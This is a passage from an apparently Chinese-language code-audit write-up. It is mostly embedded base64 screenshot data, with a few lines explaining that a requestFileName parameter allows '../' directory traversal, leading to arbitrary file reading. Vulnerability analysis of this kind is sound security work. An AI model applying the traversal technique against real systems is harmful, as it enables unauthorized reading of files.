ZE2ECxlGcgKKF3JsaOnWbdhA/lggFKKU6dOIbwnTmJsbtFUphvOWRYXF9Fdzbb9WynygjdOn2PYG3LoMwf58UvfJ40M+3bu59TxE3jv0cYgY4XzOXv2b8fIiGPHjqGEQCvN7t27cdbhyhLnWuPYFi1atGjR4o+NFWR2aWmJKIpwzpEkyVU3NZgkydZVO+mttUgpUUoRQiCOY/Kij4mi8W584RFIlBYgPFJUBzuo5rjVsLqXgjzP8UFx9OgR4kSybedNCMa70g/s28/CwgJxYpBBsdy7gDGK4MAFi3ce76sLaUFmHFt4FYCb9+yv0hZ09RdJdy6h11vmlaMvoWPNgX0HmJ+f58iRVzh48CBSNmqegiA5fuw4ONA6QgD79+4iUIKwZGWGMQahJNY55uc2sLyUYUuHUhEnj54GPB5ZHcMaNC+/fIwD+w9y/NTJSknUMfv238orR44RvAJ0ld7a7vfkydNs3nIDUaT56Ys/xpUJnU7KMM+xNrC83KeTzmEHDqRkaWkJk1ZeAHzpMXFCr1xCKsHRY0dw3nDw5k+yuHCc2CQIJxBBIlzlJqFjuiQqYsvWj2FDQRRFKGVqjw4aW3pOnniV3tKQNIoRztKJO9x00zaUMWR+iNCeOBEMh33mOnMMewVzcRdlFQtHT+BDqLw1BADH1m1beenll9mzYw979uzhyJEjHDl2hE/e9kkWF16qPDrUNtDZcAjec+7caSwFe/ccqkiu1gyzjDdPv0Gv36ObdNi9uzUzaNGiRYsWLf7YWEFmX3/9dYCKUOb5BPm6OjBRhLMW7z0HDx5k8eQiIQiSNCXPSuI4ptfrsXfvfLine truncated
|
||||
<p blockindex=53>通过requestFileName参数作为文件名然后去读取文件。可以看到虽然限制了文件夹路径,但是并没有过滤掉../的方式,还是可以通过../的方式去对目录进行跨越从而造成任意文件读取。</p>
|
||||
<p blockindex=54><img src=data:image/jpeg;base64,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 truncated
|
||||
<p blockindex=55><img src="data:image/jpeg;base64,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 truncated
|
||||
<p blockindex=56>跟进getBinaryFile</p>
|
||||
<p blockindex=57><img src=data:image/jpeg;base64,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